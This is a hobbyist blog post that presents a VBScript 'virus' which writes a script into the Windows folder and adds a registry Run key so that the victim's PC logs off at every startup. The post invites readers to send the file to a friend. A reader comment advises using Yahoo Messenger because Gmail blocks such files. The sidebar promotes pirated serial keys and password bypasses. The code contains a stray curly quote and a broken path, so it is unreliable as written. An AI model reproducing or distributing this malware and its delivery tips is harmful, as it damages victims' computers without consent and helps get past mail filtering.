Recent Articles
Create Virus to Log Off Windows every time at Start up
![](https://sites.google.com/site/techbyte4u/postdateicon.png)
![](https://sites.google.com/site/techbyte4u/post-author-icon.png)
From today i m starting a new section here on my site, which will help you to learn about virus programming and also you can make small viruses on your PC just using notepad.... :)
This first post of virus programming will tell you about... how you can make a virus that will shutdown a PC Automatically at Startup. Every time when a victim will restart his PC, it will be shutdown.
Ok, just open the notepad and type the paste the following code:
code:
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript. vbs","REG_SZ”
Now save this notepad file with any name having .vbs extension....
Now send it to ur friend.... and Frustrate your friend by shutting down his computer automatically on startup ;)
How to get rid of this virus:
for that just boot ur system in safe mode and then go to directory c:\ windows.... find out wscript.vbs file there.... and delete it :)
![](http://i46.tinypic.com/5d9hnd.gif)
![Bookmark and Share](http://s7.addthis.com/static/btn/v2/lg-share-en.gif)
![](https://sites.google.com/site/techbyte4u/postcategoryicon.png)
3 comments for this post
Leave a reply
Subscribe to:
Post Comments (Atom)
TechByte4U on Facebook
Popular Posts
Hey Friends, Today's Topic will tell you How to access and control a PC remotely..... It happens many times with me that i miss ...
Free winrar, Full version Winrar, Winrar Serial key I guess everyone know what is Winrar, and what it works. So without going into t...
It happens many times that we 'like' everything on the facebook wall of our loved ones or our friends just to give them a litt...
free idm, serial key Internet Download Manager(also known as Idman) is an excellent internet download accelerator that will care of...
How to get Account on Google+ ? get google plus invitation Hello All, Google+ is still available using the invitation process, It wi...
In response to query asked by Ameer Hasan Malik Did you forget your windows login password? or want to access Admin account in schoo...
In response to query asked by SUNNI BALA SANKAM Windows 7 has implemented addition secur i ty mechanism to prevent accidental or...
In some lock Folder sometimes it happens that if any one do uninstall the software the locked file also get delete with other files of tha...
Friends, if you don’t have a cam and you Have a desire to do Cam 2 Cam chat or can say video chat, then you have no need to buy a web cam. H...
You have no more need to read the long Pdf files line by line. Now feel free, coz your pdf will read out itself for you. Many peo...
Nitasha
September 19, 2010 at 12:20 PM
gud hmmm !!!
Unknown
April 2, 2012 at 4:37 PM
but gmail do not accept this file
Surbhi Verma
April 3, 2012 at 11:22 AM
yes, gmail does not accept virus files, try to send it through yahoo messenger.